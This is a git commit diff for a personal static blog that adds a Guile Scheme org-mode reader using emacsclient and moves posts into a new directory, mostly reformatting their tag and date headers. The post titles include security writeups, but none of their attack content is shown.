summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitignore2
-rw-r--r--haunt/haunt.scm2
-rw-r--r--haunt/jakob/reader/org-mode.scm113
-rw-r--r--haunt/posts/.dir-locals.el8
-rw-r--r--haunt/posts/analyzing-executable-size-part-0.org (renamed from org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org)2
-rw-r--r--haunt/posts/backdoorctf-2017-funsignals.org (renamed from org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org)2
-rw-r--r--haunt/posts/bad-behavior.org (renamed from org/Bad BEHAVIOR/bad-behavior.org)2
-rw-r--r--haunt/posts/browser-games-aren-t-an-easy-target.org (renamed from org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org)6
-rw-r--r--haunt/posts/challenges-re-writeups-1.org (renamed from org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org)4
-rw-r--r--haunt/posts/challenges-re-writeups-2.org (renamed from org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org)3
-rw-r--r--haunt/posts/challenges-re-writeups-3.org (renamed from org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org)2
-rw-r--r--haunt/posts/challenges-re-writeups-4.org (renamed from org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org)2
-rw-r--r--haunt/posts/decompilation-by-hand.org (renamed from org/Decompilation By Hand/decompilation-by-hand.org)2
-rw-r--r--haunt/posts/dollar-bin-reverse-engineering.org (renamed from org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org)2
-rw-r--r--haunt/posts/duke-on-fluidsynth.org (renamed from org/Duke on Fluidsynth/duke-on-fluidsynth.org)2
-rw-r--r--haunt/posts/farewell-kona.org (renamed from org/Farewell, Kona, My Life-Long Companion/farewell-kona.org)2
-rw-r--r--haunt/posts/first-impressions-of-the-kotlin-programming-language.org (renamed from org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org)4
-rw-r--r--haunt/posts/first-impressions-of-the-myrddin-programming-language.org (renamed from org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org)2
-rw-r--r--haunt/posts/first-impressions-of-the-rust-programming-language.org (renamed from org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org)2
-rw-r--r--haunt/posts/game-hacking-on-linux-scanmem.org (renamed from org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org)2
-rw-r--r--haunt/posts/i-love-my-pinephone.org (renamed from org/I Love My PinePhone/i-love-my-pinephone.org)4
-rw-r--r--haunt/posts/installing-gentoo-one-month-later.org (renamed from org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org)2
-rw-r--r--haunt/posts/investigating-a-shellbot-aa-infection.org (renamed from org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org)2
-rw-r--r--haunt/posts/making-your-own-music-player.org (renamed from org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org)4
-rw-r--r--haunt/posts/plaidctf-2019.org (renamed from org/Writeups for PlaidCTF 2019/plaidctf-2019.org)4
-rw-r--r--haunt/posts/pushing-haunt-to-its-limits.org (renamed from org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org)4
-rw-r--r--haunt/posts/reverse-engineering-babbys-first-archive-format.org (renamed from org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org)2
-rw-r--r--haunt/posts/rust-on-flipper-zero.org (renamed from org/Rust on the Flipper Zero/rust-on-flipper-zero.org)2
-rw-r--r--haunt/posts/sdl-tutorial-part-0x00.org (renamed from org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org)2
-rw-r--r--haunt/posts/slime-the-world-postmortem.org (renamed from org/Slime the World: A Postmortem/slime-the-world-postmortem.org)2
-rw-r--r--haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org (renamed from org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org)0
-rw-r--r--haunt/posts/thoughts-on-lisps.org (renamed from org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org)2
-rw-r--r--haunt/posts/towards-guix-for-devops.org (renamed from org/Towards Guix for DevOps/towards-guix-for-devops.org)2
-rw-r--r--haunt/posts/transition-to-haunt.org (renamed from org/Transition to Haunt/transition-to-haunt.org)4
-rw-r--r--haunt/posts/umass-ctf-2020-writeup.org (renamed from org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org)2
-rw-r--r--haunt/posts/umass-ctf-2021-postmortem.org (renamed from org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org)2
-rw-r--r--haunt/posts/umass-ctf-2022.org467
-rw-r--r--haunt/posts/understand-game-hacking-in-one-post.org (renamed from org/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org)2
-rw-r--r--haunt/posts/what-ive-learned-about-formal-methods.org (renamed from org/What I've Learned About Formal Methods In Half a Year/what-ive-learned-about-formal-methods.org)4
-rw-r--r--haunt/static/image/cbt-2023-04-13.jpgbin0 -> 375364 bytes
-rw-r--r--haunt/static/image/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png (renamed from org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png)bin261565 -> 261565 bytes
-rw-r--r--org/Bad BEHAVIOR/debug-prints.pngbin2108 -> 0 bytes
-rw-r--r--org/Bad BEHAVIOR/vanilla-hexen-vulnerability.pngbin82603 -> 0 bytes
-rw-r--r--org/Browser Games Aren't an Easy Target/mitmproxy-initial.pngbin54663 -> 0 bytes
-rw-r--r--org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpgbin89507 -> 0 bytes
-rw-r--r--org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpgbin94065 -> 0 bytes
-rw-r--r--org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpgbin41466 -> 0 bytes
-rw-r--r--org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpgbin81706 -> 0 bytes
-rw-r--r--org/Farewell, Kona, My Life-Long Companion/kona-1.jpgbin82999 -> 0 bytes
-rw-r--r--org/Farewell, Kona, My Life-Long Companion/kona-2.jpgbin147421 -> 0 bytes
-rw-r--r--org/Farewell, Kona, My Life-Long Companion/kona-3.jpgbin271865 -> 0 bytes
-rw-r--r--org/Farewell, Kona, My Life-Long Companion/kona-4.jpgbin292957 -> 0 bytes
-rw-r--r--org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/shellbot-propagation.jpgbin427743 -> 0 bytes
-rw-r--r--org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.pngbin11919 -> 0 bytes
-rw-r--r--org/Pushing Haunt to Its Limits/old-webmention-screenshot.pngbin109830 -> 0 bytes
-rw-r--r--org/Pushing Haunt to Its Limits/rsvp-screenshot.pngbin86931 -> 0 bytes
-rw-r--r--org/Pushing Haunt to Its Limits/web-server-traffic.jpgbin79557 -> 0 bytes
-rw-r--r--org/Reverse Engineering Babby's First Archive Format/basic-parsing.pngbin15718 -> 0 bytes
-rw-r--r--org/Reverse Engineering Babby's First Archive Format/binary-dump.pngbin61514 -> 0 bytes
-rw-r--r--org/Reverse Engineering Babby's First Archive Format/catching-file-reads.pngbin407274 -> 0 bytes
-rw-r--r--org/Reverse Engineering Babby's First Archive Format/xp3-header.pngbin9290 -> 0 bytes
-rw-r--r--org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.pngbin11966 -> 0 bytes
-rw-r--r--org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.pngbin9405 -> 0 bytes
-rw-r--r--org/The Many Faces of an Undying Programming Language/Lisp Kludge.pngbin359511 -> 0 bytes
-rw-r--r--org/The Many Faces of an Undying Programming Language/lisp-personality-test.pngbin7045 -> 0 bytes
65 files changed, 632 insertions, 47 deletions
diff --git a/.gitignore b/.gitignore
index b5dd6d4..b5aa0e4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,10 +1,8 @@
.stfolder
publish.sh
-/haunt/images/*
!/haunt/images/favicon.png
-/haunt/posts/
/haunt/pages/*.html
/haunt/repositories/
/haunt/site/
diff --git a/haunt/haunt.scm b/haunt/haunt.scm
index f03111d..6d2aacb 100644
--- a/haunt/haunt.scm
+++ b/haunt/haunt.scm
@@ -45,7 +45,7 @@
'((author . "Jakob L. Kreuze")
(email . "zerodaysfordays@sdf.lonestar.org"))
#:make-slug post-slug-v2
- #:readers (list html-reader-prime sxml-reader)
+ #:readers (list html-reader-prime org-mode-reader sxml-reader)
#:builders
(list (atom-feed #:max-entries 1024)
(blog)
diff --git a/haunt/jakob/reader/org-mode.scm b/haunt/jakob/reader/org-mode.scm
new file mode 100644
index 0000000..2faeef3
--- /dev/null
+++ b/haunt/jakob/reader/org-mode.scm
@@ -0,0 +1,113 @@
+;;; Copyright © 2019 - 2024 Jakob L. Kreuze <zerodaysfordays@sdf.org>
+;;;
+;;; This program is free software; you can redistribute it and/or
+;;; modify it under the terms of the GNU General Public License as
+;;; published by the Free Software Foundation; either version 3 of the
+;;; License, or (at your option) any later version.
+;;;
+;;; This program is distributed in the hope that it will be useful,
+;;; but WITHOUT ANY WARRANTY; without even the implied warranty of
+;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+;;; General Public License for more details.
+;;;
+;;; You should have received a copy of the GNU General Public License
+;;; along with this program. If not, see
+;;; <http://www.gnu.org/licenses/>.
+
+;;; Commentary:
+;;;
+;;; Reader for Org syntax which invokes `org-export' via the Emacs daemon for
+;;; rendering and metadata extraction.
+;;;
+;;; Code:
+
+(define-module (jakob reader org-mode)
+ #:use-module (ice-9 match)
+ #:use-module (ice-9 popen)
+ #:use-module (ice-9 regex)
+ #:use-module (ice-9 textual-ports)
+ #:use-module (srfi srfi-1)
+ #:use-module (srfi srfi-19)
+ #:use-module (srfi srfi-26)
+ #:use-module (haunt reader)
+ #:use-module (ice-9 match)
+ #:use-module (sxml simple)
+ #:export (org-mode-reader))
+
+(define (rewrite-image-urls subtree)
+ (match subtree
+ (('img ('@ ('src src) attrs ...))
+ (let* ((src (if (string-prefix? "./" src)
+ (substring src 2)
+ src))
+ (src (string-append "/static/image/" src)))
+ `(img (@ (src ,src) ,@attrs))))
+ ((elems ...)
+ (map rewrite-image-urls elems))
+ (elem elem)))
+
+(define (eval-in-emacs form)
+ "Evaluate FORM in the current Emacs (daemon) session and return the result"
+ (let* ((stringified (call-with-output-string (cut write form <>)))
+ (port (open-pipe* OPEN_READ "emacsclient" "-e" stringified))
+ (result (read port))
+ (result (if (eqv? result 'nil)
+ '()
+ result)))
+ (if (eqv? 0 (status:exit-val (close-pipe port)))
+ result
+ (error "could not eval" form))))
+
+(define (render-org-mode-file file-name)
+ (define output-port (mkstemp! (string-copy "/tmp/emacs-eval-XXXXXX")))
+ (define result
+ (eval-in-emacs
+ `(save-excursion
+ (let ((enable-local-variables :all))
+ (set-buffer (find-file-noselect ,file-name)))
+ (setq-local org-export-filter-latex-fragment-functions
+ (list (lambda (data backend channel)
+ (org-html-encode-plain-text data))))
+ (let ((result (org-export-as 'html nil nil t)))
+ (with-temp-buffer
+ (insert result)
+ (write-region (point-min) (point-max) ,(port-filename output-port)))))))
+ (define parsed (call-with-input-file (port-filename output-port) get-string-all))
+ (format #f "<html>~a</html>" parsed))
+
+(define %default-additional-keys
+ '("CROSSPOST" "SCRIPTS" "META-TAGS"))
+
+(define* (extract-org-mode-metadata file-name
+ #:optional
+ (additional-keys %default-additional-keys))
+ `(,@(map (match-lambda
+ (("DATE" date) `(date . ,(string->date date "<~Y-~m-~d ~a ~H:~M>"))))
+ (eval-in-emacs
+ `(save-excursion
+ (let ((enable-local-variables :all))
+ (set-buffer (find-file-noselect ,file-name)))
+ (org-collect-keywords '("DATE")))))
+ ,@(map (match-lambda
+ (("TAGS" tags) `(tags . ,(string-split tags #\space))))
+ (eval-in-emacs
+ `(save-excursion
+ (let ((enable-local-variables :all))
+ (set-buffer (find-file-noselect ,file-name)))
+ (org-collect-keywords '("TAGS")))))
+ ,@(map (match-lambda
+ ((key value) `(,(string->symbol (string-downcase key)) . ,value)))
+ (eval-in-emacs
+ `(save-excursion
+ (let ((enable-local-variables :all))
+ (set-buffer (find-file-noselect ,file-name)))
+ (org-collect-keywords ',(append '("TITLE") additional-keys)))))))
+
+(define (read-org-mode-post file-name)
+ (values (extract-org-mode-metadata file-name)
+ (match (call-with-input-string (render-org-mode-file file-name) xml->sxml)
+ (('*TOP* ('html sxml ...)) (rewrite-image-urls sxml)))))
+
+(define org-mode-reader
+ (make-reader (make-file-extension-matcher "org")
+ read-org-mode-post))
diff --git a/haunt/posts/.dir-locals.el b/haunt/posts/.dir-locals.el
new file mode 100644
index 0000000..211fd8b
--- /dev/null
+++ b/haunt/posts/.dir-locals.el
@@ -0,0 +1,8 @@
+((org-mode . ((org-html-doctype . "xhtml5")
+ (org-html-html5-fancy . t)
+ (org-html-with-latex . 'verbatim)
+ (org-export-with-toc . nil)
+ (org-export-with-section-numbers . nil)
+ (org-export-with-sub-superscripts . nil)
+ (ox-haunt-base-dir . "/home/jakob/Blog/haunt/")
+ (ox-haunt-images-dir . "/static/image/"))))
diff --git a/org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org b/haunt/posts/analyzing-executable-size-part-0.org
index a81386c..aa65f9f 100644
--- a/org/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org
+++ b/haunt/posts/analyzing-executable-size-part-0.org
@@ -1,6 +1,6 @@
#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader
#+DATE: <2017-07-31 Mon 13:35>
-#+TAGS: writeup, programming, operating-systems, c, linux
+#+TAGS: writeup programming operating-systems c linux
#+BEGIN_EXPORT html
<header class="article-front-matter article-warning">
diff --git a/org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/haunt/posts/backdoorctf-2017-funsignals.org
index 9ee9606..ab8941c 100644
--- a/org/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org
+++ b/haunt/posts/backdoorctf-2017-funsignals.org
@@ -1,6 +1,6 @@
#+TITLE: BackdoorCTF 2017: FUNSIGNALS
#+DATE: <2017-09-24 Thu 12:01>
-#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux
+#+TAGS: writeup security capture-the-flag binary-exploitation x86 linux
"funsignals" was a 250 point binary exploitation challenge with 58 solves. The
challenge itself was a very trivial example of sigreturn-oriented programming.
diff --git a/org/Bad BEHAVIOR/bad-behavior.org b/haunt/posts/bad-behavior.org
index 87e0ae7..a5c9dbe 100644
--- a/org/Bad BEHAVIOR/bad-behavior.org
+++ b/haunt/posts/bad-behavior.org
@@ -1,6 +1,6 @@
#+TITLE: Bad BEHAVIOR
#+DATE: <2018-01-04 Thu 15:45>
-#+TAGS: writeup, security, binary-exploitation, video-games, x86, doom
+#+TAGS: writeup security binary-exploitation video-games x86 doom
TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for
ACS. As a preface, there's a tendency for whitepapers like this in the security
diff --git a/org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org b/haunt/posts/browser-games-aren-t-an-easy-target.org
index d752adf..37c0d74 100644
--- a/org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org
+++ b/haunt/posts/browser-games-aren-t-an-easy-target.org
@@ -1,6 +1,6 @@
#+TITLE: Browser Games Aren't an Easy Target
#+DATE: <2020-01-10 Fri 18:39>
-#+TAGS: writeup, programming, reverse-engineering, video-games, game-hacking, javascript
+#+TAGS: writeup programming reverse-engineering video-games game-hacking javascript
If you're about my age and had a similarly dull upbringing, you probably also
have memories of playing video games behind a teacher's back whenever class
@@ -590,8 +590,8 @@ stack up against [[https://vmcall.blog/battleye-stack-walking/][BattlEye]], but
out. To that effect, nice work, Sidney!
#+BEGIN_EXPORT html
-<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">New Rotation map and Anti Cheat tomorrow bois</p>&mdash; Sidney (@Sidney_de_Vries) <a href="https://twitter.com/Sidney_de_Vries/status/1190593818233425920?ref_src=twsrc%5Etfw">November 2, 2019</a></blockquote>
-<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
+<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">New Rotation map and Anti Cheat tomorrow bois</p> Sidney (@Sidney_de_Vries) <a href="https://twitter.com/Sidney_de_Vries/status/1190593818233425920?ref_src=twsrc%5Etfw">November 2, 2019</a></blockquote>
+<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
#+END_EXPORT
...
diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org b/haunt/posts/challenges-re-writeups-1.org
index 5450a4a..ec32560 100644
--- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org
+++ b/haunt/posts/challenges-re-writeups-1.org
@@ -1,6 +1,6 @@
#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)
-#+DATE: <2019-03-10 Sun>
-#+TAGS: writeup, reverse-engineering, arm, x86
+#+DATE: <2019-03-10 Sun 00:00>
+#+TAGS: writeup reverse-engineering arm x86
As mentioned in the (now deleted) post I wrote describing my plans for 2019, one
of my goals this year is to get through at least 50 of the exercises on Dennis
diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org b/haunt/posts/challenges-re-writeups-2.org
index 8eeff01..cb185fc 100644
--- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)/challenges-re-writeups-2.org
+++ b/haunt/posts/challenges-re-writeups-2.org
@@ -1,7 +1,6 @@
#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22)
-#+TAGS: writeup, reverse-engineering, x86
+#+TAGS: writeup reverse-engineering x86
#+DATE: <2019-05-28 Tue 15:18>
-#+HAUNT_BASE_DIR: /home/jakob/Blog/haunt/
This is the second set of solutions for my self-imposed challenge of completing
at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of
diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org b/haunt/posts/challenges-re-writeups-3.org
index 44b3021..1bf5cc0 100644
--- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org
+++ b/haunt/posts/challenges-re-writeups-3.org
@@ -1,6 +1,6 @@
#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)
#+DATE: <2019-08-18 Sun 10:42>
-#+TAGS: writeup, reverse-engineering, x86
+#+TAGS: writeup reverse-engineering x86
This is the third set of solutions for my self-imposed challenge of completing
at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of
diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org b/haunt/posts/challenges-re-writeups-4.org
index 1108af7..c80c27a 100644
--- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org
+++ b/haunt/posts/challenges-re-writeups-4.org
@@ -1,6 +1,6 @@
#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)
#+DATE: <2019-12-29 Sun 19:55>
-#+TAGS: writeup, reverse-engineering, x86
+#+TAGS: writeup reverse-engineering x86
This is the fourth and final set of for my self-imposed challenge of completing
at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of
diff --git a/org/Decompilation By Hand/decompilation-by-hand.org b/haunt/posts/decompilation-by-hand.org
index e55c8a8..9c3a51f 100644
--- a/org/Decompilation By Hand/decompilation-by-hand.org
+++ b/haunt/posts/decompilation-by-hand.org
@@ -1,6 +1,6 @@
#+TITLE: Reverse Engineering By Hand
#+DATE: <2018-03-01 Thu 19:00>
-#+TAGS: tutorial, reverse-engineering, x86, c, linux
+#+TAGS: tutorial reverse-engineering x86 c linux
My capture-the-flag team played in the Insomni'hack teaser this year. During the
competition, I worked on a single challenge titled "sapeloshop." It was labeled
diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org b/haunt/posts/dollar-bin-reverse-engineering.org
index 4bb02d9..dbf7ee7 100644
--- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org
+++ b/haunt/posts/dollar-bin-reverse-engineering.org
@@ -1,6 +1,6 @@
#+TITLE: Dollar Bin Reverse Engineering
#+DATE: <2021-12-24 Fri 09:42>
-#+TAGS: writeup, hardware, reverse-engineering, tc32, radare2, java
+#+TAGS: writeup hardware reverse-engineering tc32 radare2 java
The background for this project is a lesson in avoiding dishonest vendors. Two
years ago, I was looking to purchase a smart watch with sleep tracking
diff --git a/org/Duke on Fluidsynth/duke-on-fluidsynth.org b/haunt/posts/duke-on-fluidsynth.org
index 33101ee..bc811a6 100644
--- a/org/Duke on Fluidsynth/duke-on-fluidsynth.org
+++ b/haunt/posts/duke-on-fluidsynth.org
@@ -1,6 +1,6 @@
#+TITLE: Duke on Fluidsynth
#+DATE: <2018-01-13 Sat 21:10>
-#+TAGS: writeup, programming, video-games, audio, c++
+#+TAGS: writeup programming video-games audio c++
My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was
back when I was running Windows Vista, and while my memory is a bit lacking, I
diff --git a/org/Farewell, Kona, My Life-Long Companion/farewell-kona.org b/haunt/posts/farewell-kona.org
index 57dca1d..89206d9 100644
--- a/org/Farewell, Kona, My Life-Long Companion/farewell-kona.org
+++ b/haunt/posts/farewell-kona.org
@@ -1,7 +1,7 @@
#+TITLE: A Good-Bye Letter To My Life-Long Companion
#+TAGS: non-technical
#+DATE: <2022-05-13 Fri 20:06>
-#+HAUNT_METADATA: (("scripts" . "((script (@ (src \"/static/js/oneko.js\"))))"))
+#+SCRIPTS: ((script (@ (src "/static/js/oneko.js"))))
Last night -- Thursday, May 12th, 2022, at 22:17L -- my cat was put to rest. I
tend to avoid publishing anything non-technical to this website, but she
diff --git a/org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org b/haunt/posts/first-impressions-of-the-kotlin-programming-language.org
index 742103b..406d0a3 100644
--- a/org/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org
+++ b/haunt/posts/first-impressions-of-the-kotlin-programming-language.org
@@ -1,6 +1,6 @@
#+TITLE: First Impressions of the Kotlin Programming Language
-#+DATE: <2018-12-17 Mon>
-#+TAGS: opinion, programming, java, kotlin, android
+#+DATE: <2018-12-17 Mon 00:00>
+#+TAGS: opinion programming java kotlin android
In the introduction of the previous post I wrote for this series, [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][First
Impressions of the Rust Programming Language]], I alluded to the presence of
diff --git a/org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org b/haunt/posts/first-impressions-of-the-myrddin-programming-language.org
index 574c6fd..a5c6662 100644
--- a/org/First Impressions of the Myrddin Programming Language/first-impressions-of-the-myrddin-programming-language.org
+++ b/haunt/posts/first-impressions-of-the-myrddin-programming-language.org
@@ -1,6 +1,6 @@
#+TITLE: First Impressions of the Myrddin Programming Language
#+DATE: <2020-01-05 Sun 18:38>
-#+TAGS: opinion, programming, myrddin
+#+TAGS: opinion programming myrddin
It's been [[http://jakob.space/blog/first-impressions-of-the-rust-programming-language.html][over a year]] since I last wrote about contenders for the throne that C
currently sits upon, so I'll spare you the prosy introduction and cut to the
diff --git a/org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org b/haunt/posts/first-impressions-of-the-rust-programming-language.org
index 1bb85d2..4509038 100644
--- a/org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org
+++ b/haunt/posts/first-impressions-of-the-rust-programming-language.org
@@ -1,6 +1,6 @@
#+TITLE: First Impressions of the Rust Programming Language
#+DATE: <2018-06-08 Fri 13:02>
-#+TAGS: opinion, programming, rust
+#+TAGS: opinion programming rust
C is almost 50 years old, and C++ is almost 40 years old. While age is usually
indicative of mature implementations with decades of optimization under their
diff --git a/org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org b/haunt/posts/game-hacking-on-linux-scanmem.org
index 6e7cf1f..5146a09 100644
--- a/org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org
+++ b/haunt/posts/game-hacking-on-linux-scanmem.org
@@ -1,6 +1,6 @@
#+TITLE: Game Hacking on Linux - scanmem Basics
#+DATE: <2017-06-18 Sun 11:51>
-#+TAGS: tutorial, reverse-engineering, linux, video-games, game-hacking
+#+TAGS: tutorial reverse-engineering linux video-games game-hacking
#+CROSSPOST: https://0x00sec.org/t/game-hacking-on-linux-scanmem-basics/2458
Hey, this is a very brief tutorial on scanmem, a memory manipulation tool for
diff --git a/org/I Love My PinePhone/i-love-my-pinephone.org b/haunt/posts/i-love-my-pinephone.org
index dfdcfd5..346c103 100644
--- a/org/I Love My PinePhone/i-love-my-pinephone.org
+++ b/haunt/posts/i-love-my-pinephone.org
@@ -1,7 +1,7 @@
#+TITLE: I Love My PinePhone
#+DATE: <2022-08-26 Fri 06:29>
-#+TAGS: writeup, programming, arm, rust, pinephone, alpine, postmarketos, emacs
-#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"An attempt to document my experiences and rationale for wanting to use a PinePhone, as well as my thoughts on mobile Linux in general.\") (\"og:image\" . \"https://jakob.space/static/image/pinephone-1.jpg\"))"))
+#+TAGS: writeup programming arm rust pinephone alpine postmarketos emacs
+#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "An attempt to document my experiences and rationale for wanting to use a PinePhone, as well as my thoughts on mobile Linux in general.") ("og:image" . "https://jakob.space/static/image/pinephone-1.jpg"))
For the past ten months, I've been using my [[https://www.pine64.org/pinephone/][PinePhone]] as a "daily driver." By
which, I mean it's been in my pocket everywhere I go, and it's the device I use
diff --git a/org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org b/haunt/posts/installing-gentoo-one-month-later.org
index 09608b6..427554f 100644
--- a/org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org
+++ b/haunt/posts/installing-gentoo-one-month-later.org
@@ -1,6 +1,6 @@
#+TITLE: Installing Gentoo: One Month Later
#+DATE: <2018-05-28 Mon 20:10>
-#+TAGS: opinion, linux, gentoo
+#+TAGS: opinion linux gentoo
It seems that the general consensus on "distro hopping," the act of constantly
switching between distributions of GNU/Linux, is that it's a bad habit that
diff --git a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org b/haunt/posts/investigating-a-shellbot-aa-infection.org
index 2a14f3c..e48837d 100644
--- a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org
+++ b/haunt/posts/investigating-a-shellbot-aa-infection.org
@@ -1,6 +1,6 @@
#+TITLE: Investigating a Backdoor.SH.SHELLBOT.AA Infection
#+DATE: <2020-01-22 Wed 10:43>
-#+TAGS: writeup, reverse-engineering, linux, security
+#+TAGS: writeup reverse-engineering linux security
It's typical for the younger sibling to look up to and mimic the older sibling,
which is apparently what happened while I was away at school. I'm self-hosting a
diff --git a/org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org b/haunt/posts/making-your-own-music-player.org
index 9a68b37..cf5cbac 100644
--- a/org/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org
+++ b/haunt/posts/making-your-own-music-player.org
@@ -1,6 +1,6 @@
#+TITLE: Making Your Own Music Player: A Gentle Introduction to Audio Programming
-#+DATE: <2017-07-15 Sat>
-#+TAGS: tutorial, programming, audio, c
+#+DATE: <2017-07-15 Sat 00:00>
+#+TAGS: tutorial programming audio c
To start off, I'd like to say that I know very little about audio programming
and digital audio in general. I've never formally studied signal processing,
diff --git a/org/Writeups for PlaidCTF 2019/plaidctf-2019.org b/haunt/posts/plaidctf-2019.org
index 8491347..836c7a6 100644
--- a/org/Writeups for PlaidCTF 2019/plaidctf-2019.org
+++ b/haunt/posts/plaidctf-2019.org
@@ -1,6 +1,6 @@
#+TITLE: Writeups for PlaidCTF 2019
-#+DATE: <2019-04-14 Sun>
-#+TAGS: writeup, security, reverse-engineering, capture-the-flag, x86, c, python
+#+DATE: <2019-04-14 Sun 00:00>
+#+TAGS: writeup security reverse-engineering capture-the-flag x86 c python
My long-lived hiatus from capture-the-flag has come to an end, as I got off my
ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty
diff --git a/org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org b/haunt/posts/pushing-haunt-to-its-limits.org
index 2598949..5daf935 100644
